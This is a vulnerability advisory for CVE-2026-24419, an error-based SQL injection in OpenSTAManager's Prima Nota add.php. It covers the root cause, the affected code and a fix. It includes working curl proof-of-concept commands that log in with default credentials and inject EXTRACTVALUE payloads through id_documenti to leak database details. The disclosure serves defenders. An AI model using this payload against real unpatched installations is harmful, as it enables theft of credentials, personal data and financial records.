CVE-2026-24419: OpenSTAManager has a SQL Injection in the Prima Nota module
Summary Critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters.
Published Feb 6, 2026 · Updated Feb 10, 2026
Affected packages
devcode-it/openstamanager
- Ecosystem
- Composer (PHP)
- Affected
- <= 2.9.8
- Fixed in
- No patched version yet
- Check
composer show devcode-it/openstamanager
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters.
Status: ✅ Confirmed and tested on live instance (v2.9.8) Vulnerable Parameters: id_documenti (GET parameters) Affected Endpoint: /modules/primanota/add.php Attack Type: Error-Based SQL Injection (IN clause)
Details
OpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module's add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.
Vulnerability Chain:
- Entry Point:
/modules/primanota/add.php(Lines 63-67) ``php $id_documenti = $id_documenti ?: get('id_documenti'); $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];`**Impact:** Theget()function retrieves user-controlled URL parameters,explode(',', (string) ...)` splits them by comma, but NO validation ensures elements are integers.
- SQL Injection Point:
/modules/primanota/add.php(Line 306) ``php $id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];`**Impact:** Array elements from$id_documentiare directly concatenated usingimplode()without type validation orprepare()`, enabling full SQL injection.
Root Cause Analysis:
The vulnerability exists because:
get('id_documenti')return user-controlled stringsexplode(',', (string) $value)splits by comma but doesn't validate typesimplode(',', $array)concatenates array elements directly into SQL- No validation ensures array elements are integers
- Attacker can inject SQL by providing:
?id_documenti=1) AND EXTRACTVALUE(...) %23
Affected Code Path:
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
↓
add.php:63 - $id_documenti = get('id_documenti')
↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]PoC
Step 1: Login
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'Step 2: Verify Vulnerability (Error-Based SQL Injection)
Test 1: Extract Database User and Version
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"Response (error message visible to attacker):
SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '[email protected] | 8.3.0'Impact
All authenticated users with access to the Prima Nota (Journal Entry) module.
Recommended Fix
Primary Fix - Type Validation:
File: /modules/primanota/add.php
BEFORE (Vulnerable - Lines 63-67):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];AFTER (Fixed):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDsCredits
Discovered by Łukasz Rybak
Credited to lukasz-rybak.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-44701
OpenSTAManager has HTML Injection in modules/utenti/edit.php
low3.5Aug 26, 2026CVE-2026-38751
OpenSTAManager contains an arbitrary file upload vulnerability in its module update functionality
high7.2No fixMay 4, 2026CVE-2026-35168
OpenSTAManager: SQL Injection via Aggiornamenti Module
high8.8Apr 3, 2026CVE-2026-35470
OpenSTAManager has a SQL Injection via righe Parameter in confronta_righe Modals
high8.8Apr 3, 2026CVE-2026-28805
OpenSTAManager has a Time-Based Blind SQL Injection via `options[stato]` Parameter
high8.8Apr 1, 2026CVE-2026-29782
OpenSTAManager Affected by Remote Code Execution via Insecure Deserialization in OAuth2
high7.2Apr 1, 2026
